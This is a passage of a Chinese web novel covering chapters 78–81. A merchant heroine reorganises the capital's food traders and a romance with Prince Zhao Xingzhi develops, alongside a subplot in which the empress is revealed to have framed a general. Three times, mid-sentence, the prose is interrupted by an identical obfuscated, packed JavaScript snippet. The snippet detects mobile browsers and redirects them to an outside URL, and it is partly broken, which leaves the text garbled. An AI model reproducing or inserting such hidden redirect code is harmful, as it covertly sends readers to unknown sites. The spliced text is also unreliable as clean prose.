这一群行业中的前辈,她一向敬重他们,所做的一切也都是为大家好,从无藏私,如今看来是她自己把问题想简单了。 寒心,觉得很委屈。 梅映禾一言不发,冷冷地看着这一群倚老卖老、奸猾狡诈的老人,心里寒凉一片。 倏然,楼下传来金戈铁马的声音,马儿嘶鸣声打断了房间里的吵嚷,紧跟着便是铁靴踏地,震得楼板轰轰作响。 片刻后,一队穿着甲胄手持长枪的士兵列队入内,冰冷的寒铁瞬间压制住了屋内热火朝天的嚣张气焰。 赵行之紧随其后缓步迈入房间。 他一身皇子蟒袍头戴金冠,双目凌厉寒光毕现,冷冷地睨了一圈在场的众人,面色冷肃不郁。 屋内的人被这威慑的阵势吓到了,甚至都忘了行礼问安,一个个僵直矗立呆若木鸡。 “走。”赵行之未对这些人置一词,只轻轻拉起梅映禾的手,那冰凉的触感让他心里紧缩一下。 她回握了一下,赵行之将那只小手紧紧包在掌心。 梅映禾就这样头脑蒙蒙地被带着下楼、上车,呆呆地随着车架晃动,直至一杯热牛乳递到她手中,那温暖甜腻的气息驱散了她周身的寒冰。 回眸看他,赵行之温暖灿烂的笑容,和那双盛满爱意的双眸映入眼帘,梅映禾的泪水再难抑制,哗的一下泪流满面。 她哭了,是被那群白眼狼气哭的。 赵行之心疼地张了张嘴,却还是咽下了安慰的话。 此刻的梅映禾不需要安慰,想来她现在的感受是切肤之痛的,他无需多言。 不知哭了多久,梅映禾才觉得身上的戾气消散得差不多了,整个人又乏又渴,可能是哭得太用力,后背起了一层薄汗。 “擦擦眼泪。”赵行之拿出帕子给她拭泪,“我带了好吃的,要不要尝尝。” 梅映禾点了点头,“什么好吃的。” 还以为又是从宫里带出来的点心果子,结果梅映禾看到了让她震惊的水果。 “榴梿?” 赵行之愕然,“你认得?可吃过这臭东西。” 梅映禾摇头,这种水果在后世不足为奇,可是现在的大隶没有。 “宫里头拿的,外邦进贡的。”赵行之捏了捏鼻子,偏过头去,“臭得很,皇兄不喜,我却觉得好吃,想着这种甜蜜黏腻的口感你应当喜欢,便带了出来。” 他将榴梿放在小桌上,愁眉不展,“忘了叫御膳房的人打开了,这下可如何吃。” 梅映禾笑了笑,“我来。” 她跟他借了短刀,一边剖开榴梿一边道:“这叫榴梿,咱们这里应当不产,这是热带水果,闻着臭吃着香。” 她用力掰开榴梿,好家伙,开盲盒好手气,那颗大大的榴梿壳里都是饱满的果肉。 梅映禾忍不住凑近深吸了一口气,“香。” 而后骄傲地剜出一大粒果肉递到赵行之嘴边,“尝尝,可好吃了。” 待看到赵行之眉目含笑地望着她,那双寒潭似的眸子如暖阳下冰雪消融般温暖宠溺,声音幽幽带着磁性,“你喂我。” 78. 不换思想就换人 清泠泠含泪的杏眼带着刚溢出来的喜悦,对上那双意味深长的深眸,梅映禾一瞬间就反应过来了。 “你又捉弄我。”她气鼓鼓地噘着嘴,“明明你会弄这个。” 他当然会弄榴梿,削铁如泥的短刀怎么会剖不开一个水果呢。 “喂我。” 他不搭理她的嗔怪,又凑近了几分,梅映禾闻到了他身上特有的清新的香气,那是熏香混着青草的香味,很清爽很特别。 距离太近了,车厢本就狭窄,梅映禾无处可躲只得拿起木勺舀了榴梿肉喂到他唇边。 脸上还带着羞怯和愠怒,她别过脸去假装置气不看他。 谁知手中一重,那饱满的榴梿果肉被他含在口中,下一瞬梅映禾的面颊就被一双温热的大手捧住,甜蜜带着清香的气息扑面而来,梅映禾还未反应过来,双唇已被覆住,他灵巧的舌头叩开她小巧的贝齿。 榴梿果肉被送了回来。 香甜、润滑、缱绻、醉人。 实在让人猝不及防,梅映禾从一开始的紧张无措到本能抵抗,逐渐软下来身子口唇也软了下来。 被他抱在怀里的感觉,很温暖很放松。 赵行之感觉到了她的变化和回应,吻得越发沉醉。 大掌下小早纤细柔软的腰肢仿佛不小心便能折断,她真的好软、好香、好甜啊。 直到口中的榴梿被二人尽数吸食殆尽,梅映禾变得气息不稳面红耳赤,只觉得自己身软头晕昏昏欲睡,整个人不听使唤的时候,赵行之才收了势。 再吻下去他要把持不住了。 温香旖旎的气息弥散在车厢内,混着榴梿的香气,太甜腻了,让人透不过气来。 梅映禾想要开窗透透气,却被赵行之按住了手。 “别开窗。”他声音有些沙哑。 窗外有跟随的侍从和兵士,近在咫尺,不想被人看到自己的兴奋之态。 梅映禾不明所以,看着他涨红的脸和透着无尽欲望的双目,身姿挺拔的赵行之坐得端正,却也暴露了那处不安分的僵直。 秒懂,梅映禾慌乱地别过脸去,抬袖遮住自己红得滴血的面颊。 毕竟活了两世,梅映禾虽没谈过恋爱却也是经历过九年义务教育的,懂得那些应知应会的基本常识。 扭着头平静了一会儿,梅映禾估量着差不多该平息了,这才慢慢转过脸来,脑子里本琢磨着该说点儿什么打破这恼人的尴尬,谁知那张俊美无俦的脸又近在咫尺。 “早儿竟然都懂。” 赵行之的表情看上去很怪异,三分惊讶七分惊喜。 他曾兴奋于梅映禾毫不扭捏地回应,感动于她大大方方地爱慕,现下惊喜于她广博的知识面。 正如他的母后,那个敢作敢当爱憎分明的皇后,生得明艳妩媚,爱得坦荡直白。 儿时他就很羡慕父皇和母后的感情,曾希望自己也能找到一个明目张胆将爱宣之于口的妻子,不避人言,敢于把爱随处展现。 如今看来,他好像找到了。 “懂,懂得呀。” 梅映禾支支吾吾,羞涩中带着一丝被爱滋养的妩媚。 “懂又如何,不懂又如何。” 看着她染上红霞的面颊,赵行之如获至宝,一把将她拥入怀中,喃喃道:“小早都懂那我也得加紧学习,待到那一日才能将你服侍得更好。” 他低垂双眸,含情带笑地看着她,呢喃道:“不必掩藏自己,喜欢什么就直言,你觉得好我才能觉得好。” 赤裸裸地挑.逗,梅映禾只觉得浑身发紧,喉咙也发紧,说不出话来。 不用她开口,从她温柔的姿态赵行之已经得到了想要的答案。 好在车子停了下来,不然…… 下车以后梅映禾才发现到了晋王府。 “这……” 赵行之牵起她的小手,“今晚我要给你做点儿好吃的。” 梅映禾:…… 七哥会做吃的吗。 今日在宫里赵行之多待了近一个时辰,就为了跟御厨学做这道点心。 将梅映禾安顿在自己书房的桌案之后,帮她研磨铺纸,赵行之将蘸满浓墨的狼毫笔递给她,“你在这里好好捋一捋思路,想清楚日后该如何筹谋。” 梅映禾看着他,眨了眨眼,略带疑惑。 “今日的局面不是一时半刻可以改变的,若想让他们有所忌惮和敬畏之心,必得给予压力。”他声音清清冷冷,恢复了往日的冷肃,“所谓取之于民用之于民,思想需要进步,不换思想就换人。” 当晚,梅映禾被赵行之按在书房里,独自一人思考接下来该如何做。 他说:“必要的谦虚是你的态度,但是绝不能让人觉得你软弱可欺。” 还说:“做商总跟做官和跟带兵打仗一样,要能给大家谋福祉也一样能规训、教导并且让人听话,若是只为人用那便是无用。” “你们是一条绳上的蚂蚱,你是牵头的人,若是连你的话他们都不听,你的命令他们置若罔闻,那便对不起商总这个称号,只是一个跑腿的小吏而已。” …… 忙到二更天,梅映禾才吃上了那道赵行之费尽千辛万苦才做出来的“榴梿乳酪球酥”。 酥脆的外皮裹着半流质榴梿乳酪,外酥里嫩,绵软嫩滑,咬一口仿佛乳酪流入口中,满满地充盈着口腔,让人瞬间体会到什么叫满足。 “之所以做得慢,一则是因为我手生。”赵行之很谦虚但是表情却透着无尽的骄傲,“二则是这酥需要略微冰冻过后才更好吃。” 原来是冰冻过的,难怪入口冰凉却又不致失去了美味的口感,梅映禾一口气吃了四个球酥,不吝夸赞道:“好吃,真的好吃,下次教我做。” “果真好吃吗。” 赵行之明知故问,就是想听她的夸赞,喜欢看她那满心满眼的崇拜。 “好吃,好吃,真的好吃,是我吃过最好吃的点心了。” 梅映禾很配合,双手勾着他的脖子躲在他怀里撒娇。 小早啊,还是个小姑娘呢。 看着怀里娇软的小娘子甜甜地笑,赵行之一把将人打横抱起。 “我的书,我的计划还没写完呢。”梅映禾惊呼,人已经陷在他的臂弯里了。 “写什么烦心的计划。”赵行之霸气道,“我的小姑娘就该过舒舒服服随心所欲的日子,不操那老几个的心,明儿本王都替你收拾了他们。” 哈哈,哈哈哈哈。 虽然知道他说的是气话,可是那一刻梅映禾依旧觉得幸福。 欸,就是这种有人替你扛下所有的底气。 虽然她不需要,可是她有。 幻想归幻想,骄傲是骄傲,该做的事还得一步一步踏踏实实地做。 梅映禾花了足足十日,挨家挨户上门聊,一切工作从搜集资 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881277|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料开始。 总算总结出了一沓纸的问题归纳。 好在有大徒弟沈聪陪着她,两个人一起还不算太忙乱。 沈聪自从在自家老东家面前表现之后,便被沈掌柜寄予厚望,狠心派出去历练已有大半年的时间了,连过年都没让他回来。 士别三日刮目相看,梅映禾切身感受到了沈聪的成长和进步。 “师父,整理好了。”沈聪一笔一画将这几日记录下来的情况汇总誊抄,恭恭敬敬地交到了梅映禾手上,那声“师父”仍旧叫得她心里甜滋滋的。 “说来听听。”梅映禾一边看着资料,一边想要考考他。 “嗯。”沈聪清了清嗓子,“这些日子基本上走访了所有的商户,大致分为四类问题。” 商户经营别管做的是什么生意,总是各家有各家的情况,各家有各家的困难。 “第一类包括店堂和后厨的分派、价差标准、考核标准以及行为规范等。” 梅映禾点头,“这一类归为管理类问题,还包括财务账目、采购流程规范,都属于这一类。” 沈聪重新记下,“这类问题比较多。” “第二类是菜品质量,味道不好,菜式太老等。” 梅映禾又点头,“这一类归位技术开发和提升。” 沈聪又赶紧记下,“第三类是知名度低,无人问津。” “这是宣传问题。” 沈聪又提笔记下。 “第四类就是……缺银子。” “资金筹集问题。” 沈聪一一记录,不免感慨,“我师父真厉害,归纳总结到位,一针见血。” 梅映禾:…… 还行吧也就。 正如赵行之所言:不换思想就换人。 梅映禾专门走访交流,找到了一群志同道合有共同谋划,能心系百姓愿意危难之时慷慨解囊的朋友,这些人有雄心抱负,有善心义举。 但是大家或多或少都有眼下面临的困难,梅映禾愿意同他们结交,帮助大家克服困难,未来的路必定也会相扶走下去。 不至于像现在这般,赚钱的时候管她叫姑奶奶,需要出力的时候骂她以权谋私另有所图。 欸,整个行业的素质需要提升,梅映禾揉了揉眉心,真是操心。 “怎么了,累着了?” 身后温暖的怀抱靠过来,梅映禾闻到了熟悉的清香。 “七哥。” 她惊喜转头,赵行之正目不转睛地盯着她。 “别这样,好多人呢。” 时下正是午食刚过,店里还有未走的食客,还有她的大徒弟在呢。 “师父,我……”沈聪面红耳赤,十分慌张地扔下手里的一沓纸,“我还有事,先走了,明日再来。” 狗撵似的跑了。 “你徒弟越来越上道了。”赵行之软下身,虚虚伏在梅映禾身上,囫囵道:“早儿,我累了,想睡觉,想抱着你睡觉。” 这都是什么虎狼之词,梅映禾赶忙去捂他的嘴,“七哥小点儿声。” 柔软的香喷喷的小手覆在唇上,赵行之一口松松含住她的手指。 细滑黏腻的感觉透过指尖麻遍全身,小舌似一尾游鱼,穿梭在她的指缝之间。 那种湿漉漉黏哒哒的感觉让梅映禾浑身颤栗。 “早儿。”赵行之觎着她已经泛起潮红的面颊,含羞带俏,“快来。” 79. 吐珠 手指被他含在嘴里,湿漉漉热乎乎的,柔软黏腻。 对上那双仿佛粹了金的双眸,梅映禾羞得面颊绯红,双目因紧张羞涩也变得雾蒙蒙的。 二人就这样黏腻地对视着,彼此眼中只有对方。 一旁看呆了的小梅险些从柜台后头载出来,小早啊小早,够生猛的啊,小梅下意识咽了一口唾沫,到底是年轻啊,比她那会儿…… 大庭广众之下梅映禾倏然回神,“七哥,你……” 她想要缩回手指,却被赵行之一把握住手腕,“别动。” 啊,唔,失了力道,整个人被他带着反而又靠近了几分。 赵行之含着她的手指,将面前的小娘子娇羞又慌乱的神情尽收眼底,似乎很满意,这才停止了逗弄她,缓缓转动舌头。 梅映禾仍旧在徒劳地挣扎,指尖却触及到了一种坚硬又圆滑的物体。 东西不太大,是个球,却也并不小。 赵行之松开她的手腕,梅映禾缩回手指,掌心躺着一颗珠子。 通体圆润雪白,看不出有什么不同寻常。 赵行之捻起珠子放在自己的杯盏中仔细清洗后,拿出巾帕擦拭一遍。 珠子再次回到梅映禾手中的时候,她倏然发现这是一个发亮的珠子,温润柔和的光芒由内而外散发,照亮了她掌心的方寸,照得她面颊也亮了起来。 “夜明珠?” 有人脱口而出。 赵行之点头,南洋进贡的夜明珠,一共三颗,皇兄赏赐给我一颗,送给你了。 他说这话的时候眼神一直定在梅映禾脸上,目不转睛,好似看不够。 “哇,好漂亮啊。”小梅忙不迭地跑过来看。 “这就是夜明珠吗,托阿姐的福,开了眼了。”阿十夜跑过来看得眉开眼笑。 “到底是晋王殿下,好东西就是多。” “是梅东家有福气。” …… 梅映禾还未开口,周围看热闹的人已经围了上来,大家七嘴八舌地兴奋地议论着。 于普通百姓而言,或许一辈子都不知道什么是夜明珠,如今见到了自然稀罕。 梅映禾也盯着那颗珠子,摸了摸又看了看,爱不释手。 刚要开口说点儿什么的时候,才发现周围聚满了人,大家脸上都是惊喜和期待。 自然她也觉得极好,可是脑中骤然想起,方才是不是也是这样众目睽睽之下,赵行之将她的手指含在口中,还…… 啊,天呐,社死,不想活了。 梅映禾的脸一下子变得通红又一下子惨白,恨不能找个地缝钻进去。 可是当着大家的面她也不好意思发作,岂不是又要将那尴尬重新炒一遍。 就这样憋着,小脸窘迫神情紧绷,双目含着星光,似笑非笑要哭不哭。 实在太惹人怜爱了,赵行之一把将她拥入怀中,抱着上了马车,还不忘跟小梅道一句:“店里就辛苦嫂子了,我带小早先回去了。” 这一声嫂子喊得小梅心花怒放,甜甜地答应着:“欸,赶紧回去吧,照顾好她。” 啧啧啧,真羡慕啊。 在赵行之的强烈要求下,梅映禾把夜明珠装在随身携带的锦袋中,他要她时时带在身边,这样就能时时想起他。 接下来的日子,梅映禾带着夜明珠和沈聪废寝忘食地整理搜集上来的资料,重新制定计划。 于她而言无非是把曾经做过的事情又做一遍,只是这次需做得更细致。 “需要输入管理经验的算一类。”梅映禾看着手中厚厚一沓纸,转了转脖颈儿,“这一类需求量最大,但其实最容易出效果。” 沈聪将资料翻过许多遍了,皱眉问:“师父打算如何做。” 这就要依赖于前世的经验了,梅映禾得天独厚。 “缺乏管理的需要规范制度,所谓国有国法家有家规,店铺再小也得有自己的规矩体统,做得好要奖,犯了错要罚。”她一边讲一边拿出空白纸张圈化,“客人进店要有迎客的规矩,言行举止,话术也要统一,礼貌待客不卑不亢,服务周到不能给客人甩脸色,不能一问三不知。” “点菜上菜自有一套规范的流程。”她说,“当然,对于学班里培训过的学员上手会比较快一些。” 沈聪想到了自家店铺里进来几位学班培训过的跑堂,点头赞许道:“是不错,经过培训之后像模像样地有一套,看着就是比没培训过的地道。” 这便是管理的作用。 “所以店铺里要有规矩,每一个新来的人都要背熟那些规矩,照着做。”梅映禾在纸上写下:跑堂、打扫、掌柜、采购。 “尤其在采购和掌柜上,同银子打交道必得仔细,一人为私两人为公,凡事都有个见证。” 沈聪点了点头,看向梅映禾的眼神又多了几分崇拜。 “剩下的几类其实容易了许多。”梅映禾一一点到,“比如后厨的菜品把控,各位东家自有自己的标准,只要写在纸上让厨师们照做即可,定期推出新品,出品先过质量关,口味不能有偏差,每道菜炒出来都是一样的标准和流程自然味道也会相差不大。” 这便是规范标准的好处。 “至于需要宣传的,我这边有现成的粉丝和食客,大家既然捆绑在一起那便资源共享,向自己的粉丝和食客推荐其他的店,大家互通有无。” 沈聪提笔记下,越写越觉得自己同小早相差不是一星半点。 多亏当初家里想撮合他跟师父他没答应,想来师父一定也是看不上他的。 想到这里不自觉想起了那个师父看上的人,晋王殿下其实还是很不错的,对师父尤其好…… 梅映禾自是不知他已经想到了十万八千里外,抬头看着沈聪愣愣地发呆,笑问:“怎么了,晕了。” “嗯,是有些晕了。”沈聪拉着凳子凑近了几分,“师父,你是怎么知道这么多的,平日都看什么书?” 啊,看什么书。 管理学、经营类的书,这能说吗。 梅映禾有些尴尬,不知如何回答他,便赶紧指着这最后一类道:“咱先说完正事,这最后一类其实最简单,但是见成效也是最慢的。” 这一类主要是针对一些想扩大经营又缺资金的酒楼,和一些有手艺却没钱的夫妻店。 “只要手艺好,做得踏实靠谱,我打算投资。”梅映禾看着沈聪,“有没有兴趣一起当天使投资人。” 沈聪:…… 师父一定是神仙,说的都是神仙话,听不懂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889905|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是投资两个字他是听懂了的,这对于沈记而言也是常有的事。 “只要你看好的,定不会错。”沈聪一拍胸脯,骄傲一笑,“自从跟了师父我在家的地位显著上升,如今投资几个项目不用请示,自己便能办了。” 如此便好办了。 二人摩拳擦掌跃跃欲试,准备大显身手。 忙活了几日,效果是显著的,好多家签订了合作协议,可是也不乏许多人在背后说风凉话的。 “什么乱七八糟的人都合作,还真不挑不拣啊。” “说得一套一套的,谁不知道最终目的还是想骗人家兜儿里的银子。” “扶植了这么多小商贩,能成什么气候。” …… 对于这些闲言碎语梅映禾置之不理,依旧埋头苦干,做自己的事让别人说去吧。 半个月后,眼看着许多店铺经营有了起色,肉眼可见的生意好起来,菜也好吃了。 还有的小铺子做成了食肆,有的酒楼开了第二家第三家分店。 市场份额被抢占了,原先不思进取说风凉话的真的要喝西北风了。 “踏踏实实做总会见成效的。” 烛灯下,梅映禾揉着酸胀的颈椎和腰椎,笑得很得意,“市场也是需要更新换代的。” 像那种唯利是图的商户终究长不了。 她闭目仰起脖颈,根本没留意沈聪何时悄悄退了出去,取而代之的是那熟悉的清新的味道和已经覆在唇上的柔软触感。 倏然睁眼,梅映禾看到了深邃幽黑的双眸。 烛灯映照在赵行之的瞳仁中,灼灼恍恍,星光闪耀。 他们有几日没见了,他的欲念来得越发汹涌,仿佛即刻就要将她吞噬。 梅映禾被吻得心跳加快头晕目眩,面颊上亦泛起潮红。 “我想你了。” 缱绻低哑的声音在耳畔响起,他的吻顺着唇角移到了耳后、脖颈,一路向下…… 不能再继续了,赵行之及时清醒刹车,蹲在她身边,痛苦地将头埋进她的裙子里。 能看不能吃,太难受了。 梅映禾平息了自己的气喘,抚着他的后脑,笑着岔开话题,“我有礼物送给七哥。” 赵行之抬头,“什么礼物。” 梅映禾失笑,“七哥送我的礼物都是稀罕物件,我这个呢,不太好看。” 小娘子面露羞涩,难得地扭扭捏捏起来。 “是我自己绣的巾帕。”梅映禾十分心虚,自己的绣工何等拙劣,本想绣个锦袋,谁知嫂嫂教了好久也没学会,绣出来的东西实在拿不出手,这才拣了最简单的巾帕,在角落里绣上几根翠竹,简单易上手。 即便如此,她也是花费了十多日这才勉强觉得能看了。 巾帕被送到赵行之手上,在他眼中这便是世上最好的礼物。 “好看,真好看,我喜欢。”赵行之把人揽入怀中,细细摩挲着那并不复杂也不是十分精美的绣活儿,“我还要,要小早给我绣革带,绣香囊和锦袋,还要你给我做鞋子……” 轻轻地一吻落在小娘子绯红的面颊上,“我要你给我绣所有的,绣一辈子……” 窒息又甜蜜的感觉又一次席卷而来,梅映禾彻底软下了身子。 80. 如火如荼 夏末秋初,凉风习习。 夜半三更的街道上,只有梅映禾和赵行之步行的双影,被摇曳的路灯拉得老长。 “别送了,太晚了。”赵行之依依不舍。 才刚出家门还没走到十步呢,梅映禾噘嘴不愿。 他轻轻地琢了一下,没敢深吻,上马离去。 梅映禾望着远去的背影,回头进了门,慌忙擦去唇上残余的温热,偷偷看了一眼义父书房的方向,发现烛灯很亮,这才快步回房。 像极了偷偷谈恋爱晚归的女儿,偷感好重哦。 赵行之在街上消散了好一会儿才慢悠悠回府。 刚好碰上出门已久刚刚回来的佑安。 两个月前,赵行之派佑安去探查关于白将军被冤的罪证,事关重大又十分机密,只能派身边最亲近最信任的人前去。 时隔已久,赵行之本不抱什么希望,当年既然有人蓄意栽赃便不可能留下任何把柄,想找到证据谈何容易。 谁知佑安竟带回来意外的好消息。 “属下带来了人证。”佑安说了关键的一句,赵行之示意他喝口茶,这才慢慢道来,“当年诬陷白将军一家的幕后主使是当今的皇后娘娘。” 也就是当时还只是太子妃的皇嫂。 赵行之的五指捏了又松,松了又捏紧。 “白将军深受先帝信任,引起了颇多仇视和嫉妒,皇后娘娘怕影响陛下的帝位,更担心白将军心向王爷而因此会改变先帝的想法,这才先下手为强。” 佑安小心翼翼地觎着赵行之的脸色,谨慎道:“此事时间太过久远,若是没有真凭实据属下不敢妄言,也的确当初的证据皆已销毁,属下也是无意中找到了当初在宫中任职的太医院的一个小医官,此人那时曾是太医院曾院正的徒弟,每日跟着曾院正给各宫娘娘们诊平安脉,这才听到了一些猜出了首尾。” 赵行之抬眸,很警惕地问:“此人如今是如何被你找到的。” 佑安回话,“当年太医院的一场大火烧毁了所有的脉案和文字卷宗,据说烧死了几个没逃出来的小医官,此人便是其中之一。只是此人因知道的内幕颇多,自己思量着不会有好下场,这才多了个心思,大火当日逃生后伪装成烧死的样子,这才死里逃生,从此远走他乡再也没有回过京城。” “此人记得当年的所有事,属下怕他反悔,已将人秘密监视起来,并且写下了供词,请王爷过目。” 那书写略微潦草的供词的确出自太医院的人之手,这样的字迹赵行之太熟悉了,其中还不乏一些隐蔽特有的词汇,皆是因为太医院为了脉案的保密而特立的规矩。 供词写的简单明了,当年以白将军为首的多名老臣极力主张先帝改立晋王赵行之为储君,只因当时还是太子的当今陛下曾在科举舞弊案中优柔寡断偏颇不正,而且之后的几次灾情太子殿下也都未曾亲临现场,这些最脏最累最得罪人的活儿都是晋王殿下代行,触怒了一些老臣,也让他们有了改立储君的想法。 其中最严重的便是那次外邦突袭,也是晋王殿下一力承担,带兵连夜奔袭足足奋战了四十多天才赶走敌人挽救边关。 这一桩桩一件件太子殿下都龟缩不前,致使朝中不满的声音此起彼伏。 赵行之记得这些过往,当时父皇已经病重,皇兄担心父皇的病情不敢离开京城,这也是他认可的。 难道这其中还暗含了这么多不可告人的想法吗,现在再看这些赵行之无奈地摇了摇头,原来皇嫂早有提防,原来他们是为了皇位。 也难怪自己不堪大任,过去的他没有过这些想法,现在没有,将来恐也不会有,所以,合该坐在那个位子上的是皇兄而不是他。 父皇曾说过,云策是将才而非帅才,看来父皇看得极准确。 可是,父皇自始至终都没有要改变储君人选的想法,皇兄皇嫂又何必自乱阵脚呢。 权力,还是那至高无上的权力实在太诱人了。 当初的不解悉数明了,赵行之越发觉得无奈。 这样的事实若是被小早知道了,她会如何看自己,他们之间还能像现在这般继续下去吗。 他的家人是她的杀父仇人,血海深仇,她真的能接受自己吗。 漆黑的夜空中闪烁着点点繁星,广袤无际。 看不到希望的黑夜漫长磨人,让人害怕。 * 梅映禾全然不知这些日子为何赵行之又不出现了,或许是因为太忙了吧。 她全身心地投入到新的合作之中,短短一个多月的时间,很多商户有了改观和起色,服务变好了自然生意也兴隆了,菜品质量提升了味道好吃了,来的客人越来越多了,再加上彼此之间相互推荐,大家联合起来做了关联折扣。 其中一家吃了满百两银便可在其他几家打折扣,这样连锁的效果推起了一波小高潮。 成果被报到御前,文明修又一次获得了褒奖,这次他没有领功,将所有的奖赏都给了小早。 赵怀风诧异,从案卷之后露出惊喜的目光,“多次听说这位小娘子的名讳,朕也曾在万寿宴上见过一次,年纪小身量也小,却不知竟有如此大的能耐。” 当时便要宣旨让梅映禾入宫领赏,却被赵行之拦住了,“等她忙完这阵子吧,这些事情过后还有皇嫂的寿宴,待到那时皇兄自然就见到了,再一并封赏个大的,方显圣恩。” 陛下恩准,众人皆是证人。 赵行之的袖中捏着那些罪证的手指松了松,只要有了皇兄今日这句话,他便能让他在得知了梅映禾的真实身份后还她清白,即便不能,最起码也能保住她的性命无虞。 至于皇兄皇嫂欠他的,那多次刺杀的罪证,他皆可一笔勾销,只要能够用那些换来小早的平安,他足够了。 二人从宫中出来,文明修再次向赵行之道谢,多谢他为小早又争取了功劳。 赵行之摆摆手没说什么,为小早做再多也是应当应份的。 正门口再看身后迟了半步的文明修,赵行之皱眉。 方才还严肃端方的君子一下子变成了贼头贼脑的小偷。 文明修借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895726|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助着赵行之高大的身形遮掩自己,左顾右盼,好似在躲什么人。 “文大人?”赵行之想转身问他作何如此。 谁知文明修竟也不隐藏,只对他做了一个噤声的手势,“请王爷帮我挡一挡,过了这道门便安全了。” “你这是……”赵行之不解,“欠债了?” “嗯。”文明修点头,随即又赶紧摇头,“非也非也,是在躲一个人,不是欠债,是欠人情。” 赵行之好似明白了,偷笑了一下,无奈地继续往前走。 午后的太阳灼灼燃烧着大地,好似能把人烤焦。 出了宫门的广场上一片安静,若是有人便也是一目了然,文明修终于在确定了无人之后,这才郑重向赵行之行礼,“多谢王爷相救,下官告辞。” 说完还未转身,就听得身后一道甜甜的女声,“文大人,我等你很久了。” 魏默一身白色衣裙站在太阳底下,举着伞遮阳,正笑嘻嘻地看着文明修。 赵行之了然,先一步逃走。 文明修避无可避,看着赵行之仓皇而逃的身影,只得向魏默行礼,“魏娘子。” 他如今见到魏默不再避之不及了,多了几分礼貌和客套。 赵行之掀起车帘的一角,看到文明修接过魏默手中的伞,二人并肩而行,文明修还刻意将遮阳的伞朝着魏默的方向斜了斜。 如此,甚好。 他的小早越发安全了。 赵行之放心地放下了车帘,心情极佳。 梅映禾自然不知道这些,她专心投入即将入秋的这次美食节活动。 陛下御笔亲批,美食节要做得隆重。 文明修带来圣旨的时候,梅映禾觉得压力好大,但紧跟着圣旨的便是新的政策,让梅映禾为之十分振奋。 “朝廷给予这次捐款救灾的商户减免今秋至明年开春的税收,还给了大家奖励,虽然奖金不多,可是这御赐的牌匾含金量极高的,挂在门口就是底气,这可是被陛下认可的商户。” 是啊,做生意讲究信誉和口碑,梅映禾替大家道谢。 牌匾发放的那一日还特意举办了隆重的仪式,让那些曾经说风凉话的人傻了眼,心里头羡慕又嫉妒,早知道…… 这世间哪里有那么多早知道呢。 偃旗息鼓了,再不说风凉话了,几人悄悄合计,“要不现在去找梅商总聊一聊,咱们也补上一份捐资,谁又不是掏不起,看能否换来一块御赐的牌匾。” 梅映禾嗤笑,“晚了,你当陛下是财神庙里的财神爷啊,整日无事专门等着给你批牌匾。” 欸,后悔,后悔莫及。 所以说,不是发自内心的善意,咱们还不接受呢,梅映禾收起报名美食节的纸张,今日又是登记得满满当当的几大张纸。 收获颇丰,看来这次的美食节大有可为。 抬头看了一眼天边的晚霞,忙完这次美食节便正式入秋了,皇后娘娘的寿宴的菜单也该定下来报到宫里了。 一切都像这晚霞一样灿烂、美好。 81. 香不香 稻谷飘香,叠翠流金。 随着秋意渐浓,京城呈现出暖橘般的生机,梅映禾的美食节也如火如荼地进行着。 为期一个月之久,等这次美食节结束也已经到了晚秋时节,那才是真正收获的时候。 与以往的低调不同,这次的美食节梅映禾做得格外高调,不仅宣传得广泛而且还准备十分丰厚的折扣和礼物,更是要选出优秀商户予以奖励。 这还是赵行之的建议,为了能让更多的人参与,为了让商户们振奋开心,更为了让百姓们放心安心,这才扩大了规模和声势。 商户们的摊位直接摆到了大街上,占满了东西大街,从白天到晚上不分昼夜地热闹,什么时候来都能看到新鲜的节目,品尝到美味的食品。 “原先我还觉得有些过了。”梅映禾手中捧着热牛乳,小口慢慢啜饮着,眼神却始终定在街面的热闹上,眉梢眼角都带着笑,“如今看来是我保守了。” 沈聪这几日都伴在她身边,如今的沈聪俨然成了沈记的当家人,身边跟随的人也越来越多,在他的坚持下,五六名机灵的小厮被他送到了梅映禾身边,这是生怕她又一个人两条腿走遍大街小巷。 “师父做事谨慎。”沈聪拿起茶壶,往她的杯盏中又添了热牛乳,之后便将茶壶重新放回到红泥小火炉上继续温着。 “不过也着实低调了些,若非如此,师父的成就恐怕就不止今日了。” 听了这话梅映禾失笑,“什么时候学得这般会哄人了,怎么不见你哄来一位娘子。” 这是沈家的大事,沈老爷子的心病。 沈聪时年二十有一,像他这般年纪的郎君莫说正室妻子,就连妾室子嗣都三五个不嫌多了,同辈中只有他如今形单影只。 说起这个梅映禾想到了五娘子,看了一眼沈聪的面色,平静温和,似乎嘴角还噙着浅淡的笑,便问他: “你们两个的事如何了。” 沈聪离京大半年,当时除了生意需要之外,其实还有辅国公的反对。 